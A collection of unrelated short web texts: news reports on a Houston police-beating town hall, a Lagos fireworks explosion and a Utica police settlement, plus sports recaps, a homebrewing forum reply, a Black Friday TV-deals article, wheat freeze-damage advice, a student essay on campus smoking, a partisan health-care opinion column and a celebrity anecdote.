text: HOUSTON --Nearly one week after 13 Undercover obtained the video of Houston police officers hitting and kicking Chad Holley, the reaction and calls for action keep growing. [WATCH THE HOUSTON POLICE BEATING VIDEO] Hundreds gathered at a town hall meeting, demanding answers about the violent arrest. As many as 500 people packed the Good Hope Missionary Baptist Church. At times, the meeting was quiet and controlled but there was also a lot of criticism and it got loud. In front of a standing-room-only crowd, the town hall meeting started calm enough. There were the introductions of public figures the crowd already knew. Then there was -- for the first time -- the introduction of Cyndi Paxton, the woman who exposed the explosive videotaped beating of a 15-year-old Holley and went public. She didn't speak, but she didn't have to. It's the tape and the fallout that brought the hundreds out on Tuesday united in their call for change. "There's a problem of police brutality and the use of excessive force that will no longer be tolerated," said D.Z. Cofield with the NAACP Houston. Houston Mayor Annise once again explained the actions the city has taken against the officers involved, including firing seven, suspending five more. "There is no explanation for what is in fact criminal behavior," Parker said. Harris County District Attorney's Office's First Assistant Jim Leitner talked about the controversial misdemeanor charges four of the officers face. "This law is such that if an individual strikes a public servant, and causes bodily injury, that it is a felony," Leitner said. "If a public servant strikes an individual and causes bodily injury, it's a misdemeanor." The attendees reacted by screaming in disbelief. "Listen, that's the law," he said. And in front of a frustrated audience, neither was let off easy. "I cannot believe that when the statement came out from you Miss Mayor that you said whoever released the tape should be prosecuted to the fullest of the law. You knew I had the tape," community activist Quanell X told Mayor Parker at the meeting. Quanell X was criticizing Mayor Parker for her initial reaction to the release of the tape, though she's since apologized to him in front of everyone. There were also some questions from the public. It was a tough crowd but everyone appreciated that the district attorney's office, Mayor Parker and Houston Police Chief Charles McClelland showed up even though they knew they'd surely be taking some heat. Earlier Tuesday The video clearly hit a nerve among a lot of people, because by Tuesday, there were three events by different groups, all claiming that something needs to be done so what's seen on the video never happens again. Eyewitness News was the first to show you the disturbing video of officers punching and kicking the young man during his arrest. Now that the video has come out, community activists are expressing heated reactions. The protests started early Tuesday. A small group of around 20 community activists denounced the troubling video of Houston police officers allegedly beating burglary suspect Chad Holley. "Regardless if he may have done something wrong or not, the police do not have the right to arrest, prosecute and persecute all in the same instance," said Krystal Muhammad with the New Black Panther Party. These protestors say the misdemeanor indictments of official oppression on four of the police officers on the video weren't strong enough. A few hours later, a separate group of civil rights organizations echoed that sentiment. "I think the actions of the mayor and police chief were appropriate. I didn't say they were adequate," civil rights activist Johnny Mata said. "I think that the district attorney could have taken a more harsh approach." The district attorney released a statement, pointing out the indictments were handed out by a grand jury. "In order to indict the officers for a felony offense, there would have to be a finding that a deadly weapon was used in the commission of the offense or that the assault caused serious bodily injury," Harris County District Attorney Pat Lykos said. In a third news conference by the Ministers Against Crime, they urged the police chief and Mayor Annise Parker to ensure better training in the future. "We want to know from this administration and this police chief, who we work together with closely, what's going to be done to prevent this from happening in the future," said Pastor Robert Jefferson with Ministers Against Crime. The police chief and Mayor Parker have released internal memos detailing the current situation and the actions they've taken.


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GREENVILLE, Ill. - The men's basketball team dominated their opening game of the new year against Concordia (MO) from start to finish, ending with a final score of 117-71.
Greenville shot well in the game, making 68% in the first half and 63% from the field for the game.
Greenville was led by Markeith Brown with 20 points followed closely by Dondrale Campell with 19 points in only 12 minutes on the floor. Simon Martin also had a big game as he recorded a double-double with 16 points and a team high 14 rebounds.
Joe Redmond and K.J. Hilliard led the team with six assists each, and Brown finished the night with the team high four steals.
The Panthers (4-5) will be back in action at home Saturday against Blackburn at 3 p.m.


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(Only Brandao can make a mouthful of Tropical Skittles seem so Goddamn intimidating. Photo via MMAWeekly.)
A plethora of fights have recently been announced for the UFC's return to Sweden on April 6th, starting with a featherweight scrap that is all but guaranteed to deliver some high-level thrills. Since winning the TUF 14 plaque back in December of 2011 following a dominant run on the show, Diego Brandao has gone just 1-1 in the UFC, dropping a unanimous decision to Darren Elkins in his sophomore appearance at UFC 146 before scoring a UD win of his own over Joey Gambino at UFC 153. For his next appearance, the 5'7″ Brazilian will be forced to somehow negate the distance created by 6'1″ Pablo Garza, who recently bounced back from a two-fight losing streak (including a UD loss to TUF 14 runner-up Dennis Bermudez) by retiring Mark Hominick at UFC 154.
These subtle Cake references doing anything for you guys? OK, I'll stop.
Although Garza hinted at a drop to 135 following his win over Hominick, it appears as if he will be looking to build a little momentum at featherweight before doing so. That, or Garza came to realization that he already resembles Brian Robeson at the end of Hatchet come fight night and dropping another ten pounds would likely kill him.
Also on par for UFC on FUEL 9 is a lightweight pairing between Reza Madadi (1-1 UFC) and TUF 12 runner-up Michael Johnson (4-3 UFC), both of whom are coming off losses at UFC 153 and UFC 155, respectively. Middleweights Tom Lawlor and Michael Kuiper will also meet at the event. Lawlor most recently dropped a controversial decision (controversial meaning "bullshit" in this case) to the highly-touted Francis Carmont at UFC 154, whereas Kuiper last scored a second round TKO over Jared Hamman at UFC 150.
The full lineup for UFC on FUEL 9 is below.
-Alexander Gustafsson vs. Gegard Mousasi
-Philip De Fries vs. Matt Mitrione
-Mike Easton vs. Brad Pickett
-Ryan Couture vs. Ross Pearson
-Diego Brandao vs. Pablo Garza
-Michael Kuiper vs. Tom Lawlor
-Marcus Brimage vs. Conor McGregor
-Michael Johnson vs. Reza Madadi
-Akira Corassani vs. Robert Peralta
-Papy Abedi vs. Besam Yousef
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LAGOS, Nigeria (AP) — A massive explosion ripped through a warehouse full of fireworks in Nigeria's largest city on Wednesday, sparking a fire that threatened surrounding city blocks and sending a plume of thick smoke high into the sky. At least one person died and 15 others were wounded, emergency officials said.
The blast occurred around 9 a.m. in the Jankara area of Lagos Island, a neighborhood of narrow streets and tall cement buildings holding shops and housing people sometimes a dozen to a room in the megacity of Lagos. The force of the explosion echoed miles away and shook windows.
An Associated Press journalist saw members of the Nigerian Red Cross treating people with minor cuts and bruises a few blocks from the site. Later, rescuers pulled out a badly charred corpse from the still-smoldering structure.
Many people were injured when they stampeded through the area's narrow alleyways, said Yushau Shuaib, a spokesman for Nigeria's National Emergency Management Agency.
"The explosion was not suspected to be a deliberate attack to cause confusion as security agencies have commenced their investigations," Shuaib said in a statement later Wednesday.
Casualties, however, could rise as rescuers continue to clear debris from the fire. Smoke still rose over the neighborhood as the sun started to set Wednesday over Lagos.
Rubble-strewn streets surrounding the burning buildings were covered in the spent shells of fireworks. Several police officers and security officials found large, mortar-like fireworks in the building, the kind wired to explode as part of a large arrangement put on by professionals.
Nigerians commonly shoot off fireworks and firecrackers to mark Christmas and the New Year, with hawkers roaming in traffic with fistfuls of the small explosives to sell to passing drivers.
Local government officials have tried to ban fireworks this year, in part due to safety and in part due to the fear they can cause in a nation where a radical Islamist sect is carrying out shootings and car bombings. Nevertheless fireworks have exploded across the country in recent days to mark the holiday season.
Immediately after the blast Wednesday, thousands quickly filled the streets surrounding the burning buildings. Others ran away as fireworks continued to explode inside. A half-dozen firefighters arrived at the scene with two trucks and locals also ran fire hoses from the trucks to nearby buildings to try to beat back the flames.
The trucks quickly ran out of water. One man even scooped up water from a puddle with a bowl in an attempt to fight the blaze. One firefighter briefly fought with a young man who took his firefighting helmet off his head and ran away into the swarming crowd. The firefighter shrugged and went back to his truck as the building continued to burn.
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conman wrote:but I adjusted the Heat Capacity down to 0 degrees and now the temps are the same. what is the program figuring with the heat capacity?
Heat capacity affects the quantity of heat BTP assumes will be lost to the vessel when the hot water is added. If you want the numbers to line up, you should make sure the heat capacity of the mash tun is the same in both the strike temp calculator and the mash-in step for the schedule. Hope that helps.
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Lisa Finelli and Kyle Gaddie do not know each other and live nearly a continent apart. But they are on the same quest: the Black Friday hunt for a bargain big-screen TV.
Ive been waiting two months to buy a flat-screen TV, says Finelli, 31, a Black Friday first-timer who plans to scout a Boston-area Best Buy for a 40-to-46-inch replacement for her small Samsung.
Meanwhile, Gaddie, 22, of Laramie, Wyo., has been looking around a bit for an even bigger TV, 47 inches to 55 inches, and hopes to find a Black Friday bargain for less than $600. Ill buy a TV for the right deal, he says.
The good news for both of them and the rest of the holiday shopping horde is that TV bargains should be plentiful on Black Friday and during the rest of the holiday season. Right now, retailers from Best Buy to Walmart are dangling TVs of all sizes as Black Friday bait.
TVs remain a hot gift, second only to tablets, says Steve Kidera of the Consumer Electronics Association.
Part of that is that TVs are still a shared experience and tend to be gifts the whole family can enjoy, he said.
Most eye-catching are the historic sub-$100 lows on small HDTVs. Kmart and Sears have 32-inch LCDs that are doorbuster-priced at $97 or less. As the displays get larger, the prices grow, too, but not by much. Amazon.com and Best Buy both are advertising a 40-inch 1080p Toshiba display for $179.99.
In the 50-inch category, Target has a Westinghouse display priced at $349. Elsewhere, other 50-inch sets might be found for less than $500. And Walmart has a 60-inch Vizio with built-in Wi-Fi and apps for $698.
For retailers and TV makers, Price is really what they have to sell this year. There were some really good deals last year, but they keep coming down, says Jordan Selburn, analyst for research firm IHS. When sets get below the $200 mark, he says, That becomes an impulse buy price. You start thinking, You know, we could use a TV in the bathroom.
Black Friday shoppers need to remember that quantities of the super bargain sets are typically limited, says Phil Swann, who tracks Black Friday deals on his news site TVPredictions.com. The sub-$100 TVs are going to go pretty fast, he says.
To that end, Walmart has a new one-hour guarantee deal for a 32-inch Emerson LCD TV priced at $148. The retailer guarantees that anyone in the store and in line seeking that TV before 11 p.m. on Thanksgiving night will either get one then or a card guaranteeing it will be shipped before Christmas.
This is what Black Friday is all about, says Walmart spokeswoman Sarah Spencer, providing really great deals on TVs.
And the good TV deals go beyond the doorbuster promotions. With current regular prices on 60-inch displays from Vizio and Sharp coming in at $999.99, shoppers can watch for better deals over the coming weeks.
A sign of the times when it comes to prices: The average retail price on a 50-inch flat panel TV has fallen to $631 from $833 in 2010, according to market tracking firm The NPD Group.
Price has become the killer app for TVs because newer features such as smart TV and 3-D have not caught on with the masses, even though TV makers have made them standard features on most sets.
Fewer electronics shoppers, 33 percent down from 41 percent last year, said they wanted smart TV features apps that connect you to streaming movies, social networks, games, news, weather and even exercise, a recent survey by Parks Associates found.
But when asked whether they wanted a set that connected to the Internet and had 3-D, consumer interest rose to 29 percent, compared with 23 percent last year.
That small increase could be a sign that shoppers arent clear what a smart TV is or that many sets also have built-in Wi-Fi capability.
If the price is comparable, go ahead and get the smart TV with Internet capabilities, says Parks analyst Heather Way.
Still, size is whats on most shoppers minds and the bigger the better. Nearly three-fourths, 72 percent, of consumers who said they plan to buy a TV this holiday season will buy one 40 inches or larger, up from 65 percent last year, according to the CEA.
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I'm a huge pet lover and even though I'll eat just about anything, I'm pretty positive I couldn't knowingly order up dog. However if the Seoul city government has its way, dogmeat could be reclassified as livestock and will legally appear on menus in South Korea. Right now it appears illegally and there are no hygiene regulations regarding slaughter. So tell me, could you ever order dog?
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CHICAGO, Ill. – The Chicago Fire used second half goals from Marco Pappa and Austin Berry to overcome a 1-0 halftime deficit and defeat Eastern Conference foes Toronto FC 2-1 Saturday night at Toyota Park. The Fire improved to 7-2-2 at Toyota Park and remain undefeated against Eastern Conference opponents at home.
The Fire came out motivated, holding TFC in its own half for much of the early going. The home side's first chance would come eight minutes in when a ball out of the back was headed first by Alvaro Fernandez and then Dominic Oduro. The Ghanaian nodded it into the path of charging forward Chris Rolfe who took a touch but saw his shot denied by Toronto 'keeper Milos Kocic.
The hosts would threaten again just three minutes later when Jalil Anibaba's cross from the right was headed away by Ashtone Morgan. The ball fell for Marco Pappa outside of the box but his shot from distance was easily held by Kocic.
After early Fire domination, Toronto FC would take the lead against the run of play in the 16th minute when TFC striker Ryan Johnson ran onto an errant pass from Pappa to the back line. The Jamaican international strolled into the box and placed his effort past Sean Johnson to go up 1-0.
The Fire looked to bring the score level in the 24th minute when Rolfe took the ball up the left, cut inside and edged along the penalty area before rocketing his shot just wide right of the Toronto goal.
On the counterattack four minutes later, Rolfe would stroll through the midfield before laying off for Fernandez on the right. The Uruguayan international took the ball near the end line before centering a low pass for Oduro but he put his first-time effort over the bar.
Despite mostly one-way traffic, Toronto FC nearly stole a second goal just before halftime. Central midfielder Terry Dunfield sent in a penetrating cross from the left that Ryan Johnson flicked back for Luis Silva. The rookie midfielder took a close range shot that Sean Johnson dove to his left to turn away, preserving the 1-0 deficit going into the locker room.
Toronto would have the first chance of the second half in the 53rd minute when a Torsten Frings corner kick from the left bent away from Johnson to find Doneil Henry, but the defender headed his effort wide right of goal.
The Fire would finally find the equalizer 10 minutes later. Rolfe flicked an effort into the box that saw Henry's clearance deflect off of Logan Emory before Pappa ran onto the ball, danced around Kocic and coolly threaded his effort between three defenders and into the far netting to bring the score to 1-1 in the 64th minute.
The Fire midfielder would nearly find a brace eight minutes later when a Toronto clearance out of the back was headed in by second half substitute Patrick Nyarko. Pappa collected the ball and played a quick combination with Pardo that sprung the Guatemalan international into the box but he pulled his shot left, hitting the outside netting.
Frank Klopas' side continued to look for the go-ahead goal in the 76th minute when Rolfe's pass out of the midfield was laid off by substitute striker Sherjill MacDonald for Alex but the Brazilian midfielder's first-time shot went just wide left of goal.
The Fire would gain a man advantage three minutes later. Rolfe would hold up a ball out of the back at midfield but was chopped down by Emory. Having already received a yellow card in the 40th minute, referee Michael Kennedy fashioned another caution, taking TFC down to 10 men for the remainder of the match.
It took the home side just five minutes to put Toronto to the sword when Pardo's in-swinging free kick from the left found the head of Austin Berry who powerfully nodded his effort past Kocic to give the Fire a 2-1 edge.
The Fire almost earned a two-goal victory a minute later when Rolfe's misfired shot deflected to MacDonald on the right but the Dutch striker's effort cut across the goal and just missed at the back post, leaving the hosts with a 2-1 home victory.
The Fire return to action when they travel to take on the Philadelphia Union on Sunday, August 12 at 6:00 p.m. CT live on Galavision and 97.5 FM ESPN Deportes. The Chicago Fire Soccer Club will hold the second annual Practice in the Community Presented by University of Illinois Hospital & Health Sciences System in Chicago's Historic Mexican neighborhood of Pilsen at Benito Juarez Community Academy (1450 – 1510 W. Cermak, Chicago, IL 60608) on Sunday, August 5 from 10:00 a.m. – 1:00 p.m. CT. Chicago Fire First Team training is scheduled to take place at 11:00 a.m. CT.
- Saturday night's win marks the fifth time during the regular season the Fire have come back from a deficit to earn three points.
- The victory moves the team's home record to 7-2-2 on the 2012 MLS campaign
- The win extends the Fire's unbeaten streak against Toronto FC to five matches, going 3-0-2 dating back to September 8, 2010.
- The victory also keeps the Fire unbeaten vs. Toronto FC at Toyota Park, going 3-0-3 against the Canadian side since 2007.
- Midfielder Alvaro Fernandez made his Fire debut, logging 50 minutes before coming off due to an ankle injury. Dutch striker Sherjill MacDonald made his Toyota Park debut, replacing Dominic Oduro at the start of the second half.
- Marco Pappa's 64th minute equalizer moves him into the team lead with six goals on the MLS campaign. The goal also moves the Guatemalan international into a tie with Peter Nowak for fourth on the club's all-time list at 26.
Chicago Fire 2 – 1 Toronto FC
Chicago Fire: Sean Johnson; Jalil Anibaba, Arne Friedrich, Austin Berry, Gonzalo Segares; Alvaro Fernandez (Patrick Nyarko 50'), Logan Pause © (Alex 74'), Pavel Pardo, Marco Pappa; Chris Rolfe; Dominic Oduro (Sherjill MacDonald 46')
Substitutes not used: Paolo Tornaghi, Dan Gargan, Daniel Paladini, Michael Videira
Toronto FC: Milos Kocic; Doneil Henry (Aaron Maund 78'), Richard Eckersley, Logan Emory, Ashtone Morgan; Reggie Lambe (Jeremy Hall 46'), Torsten Frings ©, Terry Dunfield, Luis Silva; Eric Hassli (Andrew Wiedeman 61'), Ryan Johnson;
Substitutes not used: Freddy Hall, Eric Avila, Quincy Amarikwa
Scoring Summary
TOR – Ryan Johnson (unassisted) 16'
CHI – Marco Pappa (unassisted) 64'
CHI – Austin Berry (Pavel Pardo) 84'
Misconduct Summary
CHI – Arne Friedrich (caution) 34'
TOR – Logan Emory (caution) 40'
CHI – Dominic Oduro (caution) 45'
TOR – Logan Emory (caution) 79'
TOR – Logan Emory (ejection) 79'
Referee: Michael Kennedy
Assistants: Corey Parker, Mark Cahen
Fourth Official: Matthew Foerster
Attendance: 15,757


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Young Smokers: Yay or Nay?
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I wonder why my campus allows students to smoke in the campus area. It just doesn't make any sense how a sacred and honoured institution like university gives permission for student-smokers.
Pay a visit to the canteen, you will sense the haze that comes from cigarettes filling the air. There is just a small room left for fresh air.
What makes you fit in my campus' canteen? Cigarettes probably do since a lot of people use it to be socially accepted. Hence, no one seems to really bother the haze that comes from cigarettes.
Though the number of non-smokers slightly outnumbers of those who do, these people are silent. Including me sometimes. I feel like I don't want to break the friendship code as I tell some friends to stop smoking when they are near me. Not once, do I keep pretending I am fine with what goes on around me. This is what people call peer pressure I guess.
What happens in my campus is the tip of the iceberg. If you take a look a little closer at the nation's smoking habit, you will find that smoking has been a habitual activity for young generations in the country. Even few people started smoking before they graduated from primary school.
A lot of young people smoke to look cool. Some boys smoke so that their peers will not call them sissy boys. A lot of external factors are encouraging young people to grab their first cigarette.
It is quite hard to avoid smoking while you are being exposed to the notion that smoking is kind of cool. Even though, cigarettes ads are banned to be broadcast on television before 9.30 pm, the presence of outdoor cigarettes ads are unavoidable. They are everywhere, one may find them just around the corner in their neighbourhood or even right in front of their school gate. Both outdoor ads and TV commercials have a unified message that smoking is cool.
I personally love to watch ads from cigarette companies because they are funny and are delivered in a storytelling manner. But, communication pundits say that cigarettes ads are full of subliminal messages.
Speaking of cool stuff that youngsters love to do, watching concerts are even cooler and so a lot of cigarettes makers are funding the concerts that feature international artists. Tobacco tycoons also give scholarships for young and bright Indonesian students.
How can young people quit smoking while they accept a lot of special treatment from the producers?
People may say that to light up a cigarette is a right, but I
personally don't regard it as one.
One's right should not take away somebody else's right. Obviously, my right to breathe fresh air is neglected once someone uses their "right" to start smoking near me.


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A very promising north Alabama wheat crop was quickly turned into a disaster on Easter weekend, when sub-freezing temperatures moved into the region. Now, many growers are assessing their options for the crop.
"Much of the crop was heading when the cold temperatures occurred," says Charlie Burmester, Auburn University Extension agronomist. "This wheat now has almost no yield potential."
Seed formation has been stopped and the heads are turning yellow and drying down, he said in late April. Wheat that was in the boot stage or earlier seems to have less damage, he added.
"However, in many of these fields, we are seeing freeze damage on the stem which also could greatly affect yields. The extent of this freeze damage will not be known until this wheat is heading," he says.
Farmers were being advised to check with their insurance providers before they make any management decisions concerning the wheat crop. Options appear to be using the wheat as a cover crop and planting either soybeans or cotton.
"Some farmers may want to graze or cut the wheat for hay," says Burmester. "Check wheat herbicide labels for possible restrictions on grazing or cutting the wheat for hay. Also, take a sample of the wheat for nitrate testing. At this time we are unsure if nitrate toxicity will be a problem with the wheat or not."
Researchers at Auburn University have made the following recommendations concerning freeze-damaged wheat:
Assess the situation carefully: It is difficult to predict how much damage cold weather may have done to wheat because numerous factors can come into play, including stage of growth, variety, how cold it became, how long it stayed cold and fertility. Different fields on a farm or even parts of a given field may have been affected differently due to differences in elevation and/or exposure. Thus, careful inspection and evaluation on a field-by-field basis is required. The growth stage of wheat is a particularly important factor influencing the impact of cold weather on grain yield
Do not rush the decision: It makes sense to wait at least a week before deciding what to do. This will make the damage easier to detect because dead, frozen tissue will turn brown and other indications of damage will be easier to identify. There is still plenty of time to harvest cold damaged wheat for forage and obtain good forage quality.
Consider all options: If it is determined the grain yield potential of a field has been severely reduced, it makes sense to consider all the options. No doubt a wide variety of situations exist on various farms and in different fields. In some cases, there may be some damage, but perhaps not enough to preclude grain harvest.
There may be some producers who want to graze their freeze-damaged wheat. Given the growth stage of wheat at present, this would need to be done within the next two to four weeks in order to provide good quality pasture forage. Hoof damage may be excessive in fields that are wet. Strip grazing would be the best way to obtain a good level of forage utilization. Continuous grazing, especially at low stocking rates, would be particularly wasteful.
Some producers will want to harvest wheat for hay, which is certainly an option. However, the long period of time required to cure high-moisture hay at this time of year makes rain damage a substantial risk. Wheat hay is porous and needs to be stored inside. For producers who have the option of storing damaged wheat as silage, this is probably a better choice than making hay.
Still other producers may decide that they will simply chemically burn down their damaged wheat and plant another crop — soybeans or cotton — that promises to provide more profit than grain wheat.
Growth stage at which to harvest wheat for forage: Wheat may be harvested for forage from the boot stage (just before heading), or the milk stage (when the head releases a milky liquid if sliced open), to the mid-dough stage (when the grain has a "dough-like" consistency inside). As the plant matures, plant moisture content, digestible dry matter, and crude protein levels decline. Most beef cattle producers who intentionally grow wheat for forage harvest at the mid-dough stage, as this maximizes dry matter yield while still producing forage suitable for most classes of beef cattle. Producers who have animals with higher nutritional requirements — such as dairy animals — may wish to harvest at the boot or milk stages.
Moisture content for wheat silage: If forage harvested for silage is too dry, it will not pack easily or well, resulting in poor fermentation. If it is too high in moisture, there will be undesirable fermentation and excessive seepage. In bunker silos, a moisture content of 65 percent to 70 percent (30 percent to 35 percent dry matter) is advisable. Oxygen-limiting structures can be used to store lower moisture silage. In addition, some producers may have the option of wrapping low moisture forage in plastic as baleage if they have access to bale wrapping equipment.
The only way to know the moisture content of forage, say the researchers, is to sample and test for moisture. The direct harvest of wheat at the mid-dough stage of maturity may be possible. However, less mature wheat likely will need to be cut and wilted in order to have a low enough moisture content to be properly ensiled.
Packing of silage: A key to making good silage from any forage crop is to exclude air from the silage. Packing of small grains is more difficult than many other types of forage because of the hollow stems. Thus, fine chopping (theoretically one half inch) and thorough packing are essential.
Probable yield: Healthy wheat planted for forage and harvested at the mid-dough stage often produces about 2 tons of dry matter per acre, which is the equivalent of about 2.25 tons of hay or 7 tons of 65-percent moisture silage. Wheat harvested at earlier stages of maturity and/or that has been severely damaged by cold will produce less dry matter and fewer tons of hay or silage.
Feed value/animal performance: The stage of growth at harvest has a profound impact on forage quality. The crude protein content of wheat silage harvested at the mid-dough stage is usually in the range of 9 to 11 percent on a dry-matter basis, which is better than corn. However, the energy level of mid-dough stage wheat silage is only about 80 percent of that of corn silage, so animal performance is correspondingly lower unless an energy supplement is provided along with the silage. The quality of unweathered wheat hay should be close to that of silage harvested at the same stage of growth and exposed to the same environmental conditions.
• Nitrates: It is possible for freeze-damaged wheat to contain toxic levels of nitrates, especially before heading. The ensiling process usually results in a substantial (at least 25 percent) reduction in nitrate levels, which is an added reason to consider harvesting damaged wheat forage for silage rather than hay. However, the only way to know for certain if forage contains potentially toxic nitrate levels is to have it tested. The Auburn University Soil Testing Laboratory will test forage samples for nitrates at a cost of $6 per sample.
• Pesticides: Some wheat fields receive treatments with pesticides for which there are grazing or harvest restrictions. Such restrictions should be strictly observed.


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St. Louis Cardinals manager Mike Matheny (back, leg) will undergo surgery in St. Louis Monday, March 11, to remove a fragment from a ruptured disc in his back which has caused discomfort and a numbing sensation in his leg. He is expected to rejoin the team in time for their game Thursday, March 14. Bench coach Mike Aldrete will manage the club in Matheny's absence, with first-base coach Chris Maloney moving to bench coach and Triple-A Memphis manager Pop Warner serving as first-base coach.
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Jimmy Breslin, a 20th century opinion columnist, is said to have used this phrase to describe events surrounding the Watergate scandal, the inquiry and the subsequent impeachment of Richard Nixon: Blue smoke and mirrors.
Jimmy Breslin, a 20th century opinion columnist, is said to have used this phrase to describe events surrounding the Watergate scandal, the inquiry and the subsequent impeachment of Richard Nixon: Blue smoke and mirrors.
It is believed that the phrase "smoke and mirrors" originally referred to the use of such subterfuge to deceive a magician's audience into believing that something is occurring, or has occurred, which in actuality, is not or has not, occurred. It has become apparent that the present administration has used, and is still using "smoke and mirrors" to confuse and deceive, not only the electorate, but also the other branches of government.
To wit: the Affordable Health Care Act, which is neither affordable nor really about health care.
Although passed into law late in the day by an ill-informed partisan group, it was carefully crafted by clever minions in the White House and their slavish accomplices in the staffs of lock-step legislators.
It is actually a scheme to increase tax revenue and to put more power into the hands of this administration.
You may, or may not agree with this assessment, but even the most obtuse and blindly partisan individuals cannot fail to understand that this administration uses "smoke and mirrors" to obfuscate their true objective, which is to "fundamentally change America" into a totalitarian regime controlled by bureaucrats.
Both parties are guilty in this "un-democratic" approach to govern: the party that calls itself "Democrat," has done so willfully and those weak-kneed conservative members of congress who have allowed the emperor Obama to usurp their constitutional responsibility.
Article II, Section I of our constitution state that "the executive power shall be vested in a President of the United State of America" and "Before he enter on the execution of his office, he shall take the following Oath or Affirmation: 'I do solemnly swear (or affirm) that I will faithfully execute the Office of President of the United States, and will to the best of my ability, preserve, protect and defend the constitution of the United States.'"
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Woody Harrelson saved Jennifer Lawrence from choking
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Woody Harrelson saved Jennifer Lawrence's life after he stopped her from choking on the set of 'The Hunger Games: Mockingjay - Part 2'
Woody Harrelson saved Jennifer Lawrence from choking on the set of 'The Hunger Games: Mockingjay - Part 2'.
The 52-year-old actor reportedly performed the Heimlich manoeuvre on the Oscar-winning actress when a vitamin got stuck in her throat on the set of the science-fiction adventure movie.
A source said: "Jennifer had just downed a handful of her daily vitamins, swallowing them with water, but one got caught in her throat. Suddenly she started gagging, gasping, pointing at her throat as her face turned bright red. Everyone around her froze, not knowing what to do. But when a crew person screamed, 'Help,' Woody quickly ran up behind Jennifer and gave her a swift, hard slap on the back. When that didn't help, he wrapped his powerful arms just under her chest, gave two quick, strong squeezes, and the vitamin popped out of her mouth."
The blonde beauty thanked her co-star for saving her life and admitted she was worried she was going to die.
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What did the Utica Police Department learn from Investigator Joseph Longo's downward spiral and ultimate murder of his wife?
What did the Utica Police Department learn from Investigator Joseph Longo's downward spiral and ultimate murder of his wife?
That's a question that has never been answered, even as a wrongful death lawsuit against the City of Utica was settled with the victim's family for $2 million this week.
The family of Kristin Palumbo-Longo is relieved they have been spared the civil trial that had been scheduled for next month. But, they said, the police department's steadfast belief that it didn't do anything wrong in handling Longo's troubling behavior still stirs the family's fear that another tragedy is waiting to happen.
"I really am afraid that someone else will get hurt," Palumbo-Longo's sister Gina Pearce said Friday, after the lawsuit was dismissed in U.S. District Court.
"I would like to think that the Utica Police Department has learned something," she said, "However, until they have put an adequate officer-involved domestic violence policy into place, how can our community be assured that something like this won't happen again?"
So now, Pearce said her family is committed to pressing for policy changes at the city's police department and for state-wide legislation that ensures appropriate domestic violence policies are adopted and enforced at all agencies across the state.
Pearce has created a Facebook page to promote this issue called: Lobbying for Kristin's Law.
If an internal investigation had been opened once Longo's wife told the department several times in summer 2009 about her husband's violent threats to harm himself and his family, things might have turned out differently, the family's attorneys have argued.
Instead, some officials like then-police Chief Daniel LaBella weren't familiar with the department's policy, while other officers made the decision that Palumbo-Longo's complaints didn't rise to the level of domestic violence.
Longo's actions were further mishandled when department officials believed they were qualified enough to judge Longo's emotional stability themselves, and when they offered Longo counseling instead of seeking a fitness-for-duty psychiatric evaluation, according to an expert opinion offered on behalf of Palumbo-Longo's family.
"Despite Officer Longo's well-known lack of veracity about personal matters, the command structure of the Utica Police Department relied upon its own collective judgments in dealing with him, rather than seeking professional consultation and guidance concerning threats posed by his escalating behaviors," wrote clinical psychologist Dr. Norman Lesswing.
"No one could have predicted or prevented this terrible tragedy," LaBella said Friday.
Utica Mayor Robert Palmieri relied on an earlier prepared statement.
"When I took office as the Mayor of the City of Utica in January 2012, I pledged to make decisions that were in the best interests of the residents of our City," Palmieri's statement read.
Then in announcing the $2 million settlement on behalf of Palumbo-Longo's four children – now aged 21, 19, 15 and 13 – Palmieri said, "Our hope is that this settlement brings some closure to the family."
But it's not money that will bring closure, Pearce said, and this litigation was about so much more than any financial security for the Longos' children.
"Had the city acknowledged that there were flaws in their system, and if they had stepped up and implemented an adequate policy in the fall of 2009, this case never would have proceeded," Pearce said. "We would have been satisfied with that change at that time, but that didn't happen."
As the settlement was announced in front of U. S. District Judge David N. Hurd on Friday, the city's attorney Bartle Gorman made clear that the city is not accepting any blame for the murder-suicide.
"This settlement is acknowledged by the parties not to be an admission of liability, but the voluntary compromise of disputed claims," Gorman said.
But Palumbo-Longo's family and their attorneys – John Dillon, Robert Julian, and Josiah Pertz – left the city and community with a final mission.
"The city should voluntarily commit to adopting an officer-involved domestic violence policy that addresses staff training, reporting requirements and procedures for investigating such incidents," they wrote. "Addressing the broader issue of domestic violence requires cooperation, collaboration and a desire to let Kristin's heartbreaking story, and the stories of other victims, be the catalyst for positive change."
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